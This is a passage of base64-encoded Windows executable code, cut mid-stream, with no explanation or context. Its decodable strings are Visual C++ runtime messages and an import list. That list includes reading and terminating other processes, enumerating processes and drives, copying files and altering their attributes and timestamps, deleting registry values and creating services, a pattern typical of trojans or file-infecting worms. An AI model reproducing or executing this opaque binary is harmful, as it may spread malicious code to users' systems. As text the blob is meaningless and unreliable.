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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp 